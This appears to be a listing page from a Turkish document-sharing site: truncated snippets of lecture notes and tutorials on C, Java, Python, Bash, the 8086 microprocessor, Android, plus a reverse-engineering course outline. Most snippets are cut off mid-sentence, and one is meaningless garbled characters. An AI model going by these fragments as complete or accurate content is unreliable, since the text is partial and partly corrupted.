9 Şubat 2012 / Perşembe Önce Access açıp,masaüstü ne, vt.mdb adlı veri tabanı dosyasını oluşturuyoruz. Kayıt türünü 2002-2003 seçiyoruz 1) emlakkategorisi adlı tabloyu oluşturuyoruz 1 2) ilanlar adlı tabloyu
DetaylıMTM 305 MİKROİŞLEMCİLER
KARABÜK ÜNİVERSİTESİ TEKNOLOJİ FAKÜLTESİ MEKATRONİK MÜHENDİSLİĞİ BÖLÜMÜ MTM 305 MİKROİŞLEMCİLER Arş. Gör. Emel SOYLU Arş. Gör. Kadriye ÖZ Basit Giriş/Çıkış Teknikleri IN ve OUT komutları X86 komut kümesi
DetaylıHafta 12 Karakter Tutan Diziler
BLM111 Programlama Dilleri I Hafta 12 Karakter Tutan Diziler Yrd. Doç. Dr. Caner ÖZCAN Katar (String) Tanımlama Dizileri ve çok boyutlu dizileri gördük. Katar dediğimiz şey de aslında bir dizidir. Değişken
DetaylıAdresleme Modları. Mikroişlemciler ve Mikrobilgisayarlar
Adresleme Modları 1 Adresleme Modları İşlenenin nerede olacağını belirtmek için kullanılırlar. Kod çözme aşamasında adresleme yöntemi belirlenir ve işlenenin nerede bulunacağı hesaplanır. Mikroişlemcide
DetaylıDÖNGÜLER (LOOPS) while(), do-while(), for(), foreach()
(LOOPS) while(), do-while(), for(), foreach() Döngüler (loops) while do-while for foreach while ( koşul ) işlemler; do işlemler; while (koşul ); for (başlangıç ; koşul ; arttırma) işlemler; foreach ( tip
DetaylıİLERI MIKRODENETLEYICILER. Ege Üniversitesi Ege MYO Mekatronik Programı
İLERI MIKRODENETLEYICILER Ege Üniversitesi Ege MYO Mekatronik Programı BÖLÜM 1 Embedded C, C51 Temel Veri Tipleri Veri tipi (Data Type) Bit Bayt Değer bit 1 0, 1 char 8 1-128, +127 unsigned char 8 1 0,
DetaylıQt Temelleri. Eren BAŞTÜRK. basturkeren@gmail.com www.erenbasturk.com
Qt Temelleri Eren BAŞTÜRK basturkeren@gmail.com www.erenbasturk.com Giriş Qt Gelişim Süreci Merhaba Dünya Uygulaması Qt Creator İle Merhaba Dünya Uygulaması Qt ile Uygulama Geliştirme Bölüm İçeriği Öğrenecekleriniz......
DetaylıDöngü blokunda tek bir deyim varsa {} yazılmayabilir.
Do-while döngüsü do { döngü bloku while (Expression); Örnek: #include int main(){ int num,i=0; do{ printf("giriş için: 1\n"); printf("çıkış için 2"); scanf("%d",&num); ++i; switch(num){ case
Detaylı6. Mikroişlemcili Geliştirme Sistemleri
6. Mikroişlemcili Geliştirme Sistemleri UYGULAMA KARTI 80286 CPU KARTI SİSTEM YOLLARI GİRİŞ/ÇIKIŞ PORTLARI GÖSTERGE TUŞ TAKIMI KARTI Bir mikroişlemci geliştirme sistemi donanımının görünümü ve parçaları
DetaylıQuiz:8086 Mikroişlemcisi Mimarisi ve Emirleri
Öğrenci No Ad-Soyad Puan Quiz:8086 Mikroişlemcisi Mimarisi ve Emirleri S1) 8086 mikroişlemcisi bitlik adres yoluna ve.. bitlik veri yoluna sahip bir işlemcidir. S2) 8086 Mikroişlemci mimarisinde paralel
DetaylıPROSESLER. Proses. Proses
Proses 2 PROSESLER Bir işlevi gerçeklemek üzere ardışıl bir program parçasının yürütülmesiyle ortaya çıkan işlemler dizisi Programın koşmakta olan hali Aynı programa ilişkin birden fazla proses olabilir.
DetaylıC ile Uygulamalar 4 - Cevaplar
C ile Uygulamalar 4 - Cevaplar Cevap-1: //Soru 1 #include //Standart kütüphane başlık dosyası. #include //Tarih ve saat fonksiyonlarının yer aldığı başlık dosyası. int dizidensil(int
DetaylıKomut Seti Mimarisi (ISA)
Komut Seti Mimarisi (ISA) BIL-304: Bilgisayar Mimarisi Dersi veren öğretim üyesi: Dr. Öğretim Üyesi Fatih Gökçe Ders kitabına ait sunum dosyalarından adapte edilmiştir: http://csapp.cs.cmu.edu/ Adapted
DetaylıReverse Engineering Bootcamp Eğitim İçeriği
Reverse Engineering Bootcamp Eğitim İçeriği 1. Reverse Engineering - Reverse Code Engineering - Dökümantasyonu Olmayan Bileşenler (Undocumented Functions) - Yazılım Mimarisinin Anlaşılması - Kapalı Kaynak
DetaylıBigisayar Programlama
Bigisayar Programlama (GÜZ 2015) DERS-02: C de Programlamaya Giriş Yrd. Doç Dr. Yakup EMÜL Cumhuriyet Üniv., Teknoloji Fakültesi Yazılım Mühendisliği Bölümü yakupemul@cumhuriyet.edu.tr Ofis Saatleri :
Detaylıwhile(), do-while(), for() M.İLKUÇAR 2010 MAKU-MYO
while(), do-while(), for() Döngü (loop) : Bir koşul sağlandığı (true olduğu) sürece bir veya birden çok komutun tekrarlanması işlemidir. Java Döngüler (loops) While() do-while() for ( ) while ( koşul )
DetaylıAdım Adım C. Dr. Hidayet Takcı
Adım Adım C Dr. Hidayet Takcı İlk C Programı #include #include main() printf("merhaba Dünya"); getch(); Program hakkında İlk program C de ekrana nasıl yazı yazdıracağınızı göstermektedir.
Detaylış şşş ş ç ş şş ş ş çş Ç Ğ Ü Ü ş ç ç Ü ç ç ç Ü ç Ş Ü ş ç ş Ü Ş Ü ç ç ş Ş ş Ş Ü ş ş ş ş ş ş ş ş ş ç Ç Ş ş Ş ş ş Ü Ş ş ş ş Ü Ü ş ş Ü ş ş Ö ş ç ş ç Ç ç ç ş ş ç Ğ Ğ ş ç ş Ğ ş ş Ş Ğ ş ş ş ş ş ş ş ç Ç ç Ü ş ç
Detaylı2.Eclipse açıldıktan sonra Workspace alanı seçilmesi gerekir. Workspace alanı projelerinizin fiziksel olarak bulunduğu kısımdır.
1.Eclipse http://www.eclipse.org/downloads/download.php?file=/technology/epp/downloads/release/juno/s R2/eclipse-jee-juno-SR2-win32.zip&mirror_id=1163 linkinden indiriyoruz. 2.Eclipse açıldıktan sonra
DetaylıFonksiyonlar -Genel Test- A
1 Fonksiyonlar -Genel Test- A 1. C dilinde fonksiyon bildirimi için hangisi gereklidir? (a) Fonksiyonun döndüreceği veri tipi (b) Fonksionun adı (c) Fonksiyon parantezi ( ) (d) Hepsi 2. C dilinde fonksion
DetaylıALGORİTMA VE PROGRAMLAMA I DERS NOTU#10
ALGORİTMA VE PROGRAMLAMA I DERS NOTU#10 YZM 1105 Celal Bayar Üniversitesi Hasan Ferdi Turgutlu Teknoloji Fakültesi Genel Bakış 2 Giriş Esnek Argümanlı Fonksiyonlar main() Fonksiyonuna Parametre Aktarımı
Detaylımikroc Dili ile Mikrodenetleyici Programlama Ders Notları
4. Operatörler İfade içerisindeki değişken ve diğer ifadelere uygulandığında yeni değerlerin elde edilmesini sağlayan ve kendilerine özel sembolik gösterimleri olan sözdizimleridir. mikroc derleyicisi
DetaylıİŞLEMCİ DURUM KAYDEDİCİSİ (PROCESSOR STATUS REGISTER)
Mikroişlemci içinde yapılan işlemlerin durumlarını programcıya bildiren bir kaydedici mevcuttur. Tüm karar alma mekanizmaları bu kaydedicide gösterilen sonuçlar baz alınarak yapılır. İŞLEMCİ DURUM KAYDEDİCİSİ
Detaylıhttp://www.microsoft.com/visualstudio/eng/downloads
Visual Studio 2012'nin kurulumunu, Visual Studio'nun kullanımını ve Windows Store'da basit bir proje hazırlanmasını anlatacağım. Hepsinden önce Visual Studio ortamından biraz bahsedelim. Visual Studio
DetaylıAndroid Ders Notları
Android Ders Notları 1. Yeni Bir Proje Başlatma Android Studio programında yeni bir proje başlatıyoruz. İlk olarak karşımıza resim 1 deki gibi bir pencere gelecek. Burada Application name kısmına proje
Detaylıİstanbul Teknik Üniversitesi IEEE Öğrenci Kolu DİZİLER
DİZİLER Dizi Nedir? Aynı türden nesnelerin oluşturduğu, bellekte bitişik bir biçimde bulunan veri yapısına dizi denir.mesela alfabe diye bir dizi tanımlarız, harfleri a,b,c,d... diye sıralarız.dizinin
Detaylı10. DOSYA GİRİŞ ÇIKIŞ FONKSİYONLARI
10. DOSYA GİRİŞ ÇIKIŞ FONKSİYONLARI İkincil bellekte tanımlanmış bölgelere dosya denir. Her dosyanın bir ismi vardır. Ancak dosyaların isimlendirme kuralları sistemden sisteme göre değişebilmektedir. Dosya
DetaylıKabuk Programlama (Bash)
Kabuk Programlama (Bash) Erkan Esmer Ocak, 2013 İçindekiler 1 Giriş.................................................... 2 2 Kabuk(Shell)............................................... 3 3 Çekirdek(Kernel).............................................
DetaylıBİLGİSAYAR TEMELLERİ VE PROGRAMLAMAYA GİRİŞ
BİLGİSAYAR TEMELLERİ VE PROGRAMLAMAYA GİRİŞ Yrd.Doç.Dr. Emel ARSLAN earslan@istanbul.edu.tr C Program Akış Kontrol Yapıları Kontrol Komutları Normal şartlarda C dilinde bir programın çalışması, komutların
DetaylıPython Programlama Dili
Python Programlama Dili 8. Hata Yakalama Hatalar programcılık deneyiminizin bir parçasıdır. Ancak bizim burada kastettiğimiz, programınızı çalıştıran kullanıcıların sebep olduğu ve programınızın çökmesine
Detaylıhttp://www.mertsarica.com http://twitter.com/mertsarica
Android üzerine Penetrasyon testi üzerine Penetrasyon testi adımları Örnek Zafiyetler Sonuç http://www.mertsarica.com http://twitter.com/mertsarica Ahlaklı Korsan Blog Yazarı Python Programcısı Zararlı
DetaylıDevelopment Platform. Enver ALTIN. <ealtin@parkyeri.com> <enver.altin@linux.org.tr> 1 Aralık 2005 - Bilkent Üniversitesi
Development Platform Enver ALTIN 1 Aralık 2005 - Bilkent Üniversitesi Yazılım? Diğer bilim dallarına yardımcı araç olarak yazılımlar Kaynak kodu Derleme
DetaylıÖnsöz. İçindekiler Algoritma Algoritma Nasıl Hazırlanır? Yazılımda Algoritma Mantığı Nedir? 1.2. Algoritma Örnekleri ve Sorular
Önsöz Giriş İçindekiler V VII IX 1.1. Algoritma 1.1.1. Algoritma Nasıl Hazırlanır? 1.1.2. Yazılımda Algoritma Mantığı Nedir? 1.2. Algoritma Örnekleri ve Sorular 2.1. Programın Akış Yönü 19 2.2. Başlama
Detaylı